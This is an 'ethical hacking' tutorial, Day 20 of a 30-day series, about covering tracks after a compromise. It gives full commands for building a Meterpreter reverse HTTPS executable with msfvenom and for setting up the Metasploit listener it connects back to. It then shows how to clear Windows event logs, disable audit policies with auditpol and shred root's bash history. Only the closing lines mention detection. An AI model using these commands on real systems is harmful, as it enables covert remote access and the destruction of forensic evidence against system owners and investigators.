**Ethical Hacking – 30 Days Challenge**

**Day 20 – Clearing Tracks**

# 1. Introduction

When attackers compromise a system, their objective is not only to gain access but also to remain undetected. This requires a process called 'clearing tracks.' Logs, audit trails, and history files can expose an intruder’s activities. Therefore, attackers employ techniques such as HTTPS reverse shells, log clearing, audit policy manipulation, and secure history deletion to hide their presence.

# 2. HTTPS Reverse Shell

A reverse shell allows a victim’s system to connect back to the attacker’s system. By using HTTPS, the communication blends with normal web traffic, typically on port 443, making it harder for security devices to detect.

## 2.1 Payload Generation

An attacker can generate a malicious executable using msfvenom:

msfvenom -p windows/meterpreter/reverse\_https LHOST=<Your\_IP> LPORT=443 -f exe -o secret.exe

- Payload: windows/meterpreter/reverse\_https (HTTPS reverse shell)  
- LHOST: Attacker’s IP  
- LPORT: Commonly 443/445 to resemble normal traffic  
- -f exe: Windows executable format  
- -o secret.exe: Output filename  
  
Once executed on the victim machine, the payload initiates a secure reverse connection.

## 2.2 Setting up the Multi/Handler Listener

The attacker sets up a listener in Metasploit:

use exploit/multi/handler  
set payload windows/meterpreter/reverse\_https  
set LHOST <Your\_IP>  
set LPORT 443  
exploit

The handler waits for incoming connections. Once the victim runs secret.exe, a Meterpreter session is established.

# 3. Covering Tracks After Exploitation

Once inside the target system, attackers attempt to erase or obscure their activities to avoid detection.

## 3.1 Clearing Event Logs

Windows event logs contain valuable forensic information. In Meterpreter:

run event\_manager -i

Displays available event logs (System, Security, Application).  
  
To clear logs:

clearev

This clears logs but can alert forensic experts that tampering occurred.

## 3.2 Disabling Audit Policies

A stealthier approach is disabling audit logging to prevent new logs from being generated. Requires NT AUTHORITY\SYSTEM privileges:

execute -f cmd.exe -a "/c auditpol /clear"

This command clears and disables audit policies, preventing further log entries while the attacker operates.

## 3.3 Clearing Shell History (Linux/Unix)

On Linux, shell history (~/.bash\_history) records user commands. Attackers often delete it securely:

shred -zu /root/.bash\_history

- shred: Overwrites file securely  
- -z: Final overwrite with zeros  
- -u: Deletes file after overwriting  
  
This prevents recovery of shell commands, even with forensic tools.

# 4. Key Takeaways

- HTTPS reverse shells disguise traffic as normal HTTPS activity.  
- Clearing event logs (clearev) erases records but raises suspicion.  
- Disabling audit policies prevents logs from being generated.  
- Securely shredding bash history conceals Linux commands.  
- Privilege escalation (NT AUTHORITY\SYSTEM) is often necessary.

# 5. Summary

In Day 20, we explored techniques for clearing tracks after exploitation. Using HTTPS reverse shells, attackers blend malicious communication with normal traffic. After compromise, logs and audit trails can expose activity, so attackers clear event logs, disable audit policies, or shred Linux shell history. While these methods may help attackers remain hidden, cybersecurity professionals can often detect anomalies caused by such tampering.